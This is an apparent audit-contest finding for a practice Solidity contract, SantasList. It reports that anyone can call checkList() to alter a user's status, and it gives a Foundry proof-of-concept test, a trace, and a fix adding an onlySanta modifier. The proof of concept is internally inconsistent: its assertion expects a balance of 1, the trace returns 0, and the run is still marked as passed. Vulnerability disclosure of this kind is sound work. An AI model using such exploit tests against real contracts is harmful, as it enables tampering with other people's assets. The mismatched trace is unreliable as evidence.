Submission Details
Severity:
user are unable to Collect present due to change in status
Summary
user are unable to Collect present due to change in status by any one who call checkList
Vulnerability Details
users are unable to collect their present if some one change their status .
Impact
harm users to collect present.
POC
add this to tests files
run $forge test -vvvv --mc POCSantasListTest
// SPDX-License-Identifier: MIT
import {SantasList} from "../../src/SantasList.sol";
import {SantaToken} from "../../src/SantaToken.sol";
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";
contract POCSantasListTest is Test {
SantasList santasList;
SantaToken santaToken;
address user = makeAddr("user");
address santa = makeAddr("santa");
address attacker = makeAddr("attacker");
function setUp() public {
vm.startPrank(santa);
santasList = new SantasList();
santaToken = SantaToken(santasList.getSantaToken());
vm.stopPrank();
}
function testCollectPresentNice() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.NICE);
santasList.checkTwice(user, SantasList.Status.NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(attacker);
santasList.checkList(user, SantasList.Status.NAUGHTY);
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
vm.stopPrank();
}
}
logs
Running 1 test for test/unit/POCSantasListTest.t.sol:POCSantasListTest
[PASS] testCollectPresentNice() (gas: 133641)
Logs:
user Before change: 0
user After change: 2
Traces:
[133641] POCSantasListTest::testCollectPresentNice()
├─ [0] VM::startPrank(santa: [0x70C9C64bFC5eD9611F397B04bc9DF67eb30e0FcF])
│ └─ ← ()
├─ [4211] SantasList::checkList(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 0)
│ ├─ emit CheckedOnce(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 0)
│ └─ ← ()
├─ [4519] SantasList::checkTwice(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 0)
│ ├─ emit CheckedTwice(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 0)
│ └─ ← ()
├─ [690] SantasList::getNaughtyOrNiceOnce(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ └─ ← 0
├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001375736572204265666f7265206368616e67653a00000000000000000000000000) [staticcall]
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [283] SantasList::CHRISTMAS_2023_BLOCK_TIME() [staticcall]
│ └─ ← 1703480381 [1.703e9]
├─ [0] VM::warp(1703480382 [1.703e9])
│ └─ ← ()
├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← ()
├─ [22111] SantasList::checkList(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 2)
│ ├─ emit CheckedOnce(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 2)
│ └─ ← ()
├─ [74250] SantasList::collectPresent()
│ ├─ emit Transfer()
│ └─ ← ()
├─ [690] SantasList::getNaughtyOrNiceOnce(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ └─ ← 2
├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000001275736572204166746572206368616e67653a0000000000000000000000000000) [staticcall]
│ └─ ← ()
├─ [2678] SantasList::balanceOf(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ └─ ← 0
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
Tools Used
Manual Review
Recommendations
add a modifier to checkList function.
diff --git a/SantasList.sol b/aSantasList.sol
index c6b1476..73f0a0f 100644
--- a/SantasList.sol
+++ b/aSantasList.sol
contract SantasList is ERC721, TokenUri {
* @param person The person to check
* @param status The status of the person
*/
- function checkList(address person, Status status) external {
+ function checkList(address person, Status status) external onlySanta {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}
Updates
Lead Judging Commences
inallhonesty almost 2 years ago
Submission Judgement Published Assigned finding tags:
Access Control on checkList()
Anyone is able to call checkList() changing the status of a provided address. This is not intended functionality and is meant to be callable by only Santa.
Rewards breakdown
nSLOC
116This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.